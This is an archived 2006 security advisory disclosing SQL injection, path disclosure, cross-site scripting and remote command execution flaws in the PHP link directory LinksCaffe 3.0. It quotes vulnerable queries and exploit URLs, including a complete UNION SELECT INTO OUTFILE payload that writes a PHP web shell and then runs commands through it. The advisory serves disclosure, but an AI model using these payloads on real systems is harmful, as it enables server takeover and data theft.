LinksCaffe 3.0 SQL injection/Command Execution Vulnerabilties

2006-07-26T00:00:00
ID SECURITYVULNS:DOC:13630
Type securityvulns
Reporter Securityvulns
Modified 2006-07-26T00:00:00

Description

LinksCaffe 3.0 SQL injection/Command Execution Vulnerabilties

Produce : LinksCaffe 3.0 Website : http://gonafish.com/ Impact : manupulation of data / system access Discovered by : Simo64 - Moroccan Security Team

[+] SQL injection


[1]Vulnerable code in line 223 in links.php

    code :

    $rime = mysql_query("SELECT * from links WHERE link_val like 'yes' AND cat_id LIKE '$cat' ORDER BY hits DESC, link_pop DESC, rate DESC LIMIT $offset, $limit") or die(mysql_error());

    $offset and $limit vars are not sanitized before to be used to conducte sql injection attacks

    Exploit :

    http://localhost/linkscaffe/links.php?cat=1&offset=[SQL]
    http://localhost/linkscaffe/links.php?cat=1&limit=[SQL]

[2] Vulnerable code in line 516 in links.php

code :

    if (!$newdays)
    {
    $newdays=$daysnew;
    }
    else
    {
    $newdays=$newdays;
    }

    $rime1 = mysql_query("SELECT COUNT(*) from links WHERE (to_days(NOW()) - to_days(links.date)) <= $newdays AND link_val = 'yes'") or die(mysql_error());

    Exploit :
    http://localhost/linkscaffe/links.php?action=new&newdays=[SQL]

[3] Vulnerable code in line 516 in links.php

code :

if ($action=="deadlink") { ........ $rime = mysql_query("SELECT * from links WHERE link_id=$link_id") or die(mysql_error()); while($row = mysql_fetch_array($rime)) { extract($row); echo "<li><font class=text10><a href='$link_url' target='_blank'>$link_name</a><br>$link_desc<br></font></li>"; echo "<input type = 'hidden' name = 'link_id' value='$link_id'><input type = 'hidden' name = 'cat_id' value='$cat_id'><input type = 'hidden' name = 'link_name' value='$link_name'> <input type = 'hidden' name = 'link_url' value='$link_url'><input type = 'hidden' name = 'link_desc' value='$link_desc'><input type = 'hidden' name = 'link_email' value='$link_email'><br><input type = 'submit' value = 'Dead Link'>"; }

    $link_id var are not sanitized before to be used to conducte sql injection attacks

    Exploit :

    http://localhost/linkscaffe/links.php?action=deadlink&amp;link_id=[SQL]

[+] FullPath disclosure :

PoC :

    http://localhost/linkscaffe/links.php?action=new&amp;newdays=-1+UNION+SELECT+123456/*

    Result :

    Warning: Supplied argument is not a valid MySQL result resource in /usr/home/simo64/linkscaffe/links.php on line 540

    Warning: Supplied argument is not a valid MySQL result resource in /usr/home/simo64/linkscaffe/links.php on line 549

    Warning: Supplied argument is not a valid MySQL result resource in /usr/home/simo64/linkscaffe/links.php on line 554

[+] Remote Command Execution


if magic_quote_gpc == OFF we can create a shell in writable folder using (3)!!

Exploit :

http://localhost/linkscaffe/links.php?action=deadlink&link_id=-1+UNION+SELECT+0,0,0,0,'<?passthru(\$_GET[\'cmd\']);?>',0,0,0,0,0,0,0,0,0,0%20INTO%20OUTFILE%20'/usr/home/simo64/linkscaffe/pipo.php'/*

after we can exec cmds

http://localhost/linkscaffe/pipo.php?cmd=ls;id

[+] Cross Site Scripting


$tablewidth var in counter.php is not sanitized before to be used to conducte xss attacks $newdays var in links.php is not sanitized before to be used to conducte xss attacks $tableborder,$menucolor,$textcolor,$bodycolor vars in links.php are not sanitized before to be used to conducte xss attacks

PoC :

http://localhost/linkscaffe/counter.php?tablewidth='%3E[XSS]<p+

http://localhost/linkscaffe/links.php?action=new&newdays=[XSS]

http://localhost/linkscaffe/menu.inc.php?tableborder='%3E[XSS]

http://localhost/linkscaffe/menu.inc.php?menucolor='%3E[XSS]

http://localhost/linkscaffe/menu.inc.php?textcolor='%3E[XSS]

http://localhost/linkscaffe/menu.inc.php?bodycolor='%3E[XSS]

Contact : simo64@gmail.com

greetz to all friends !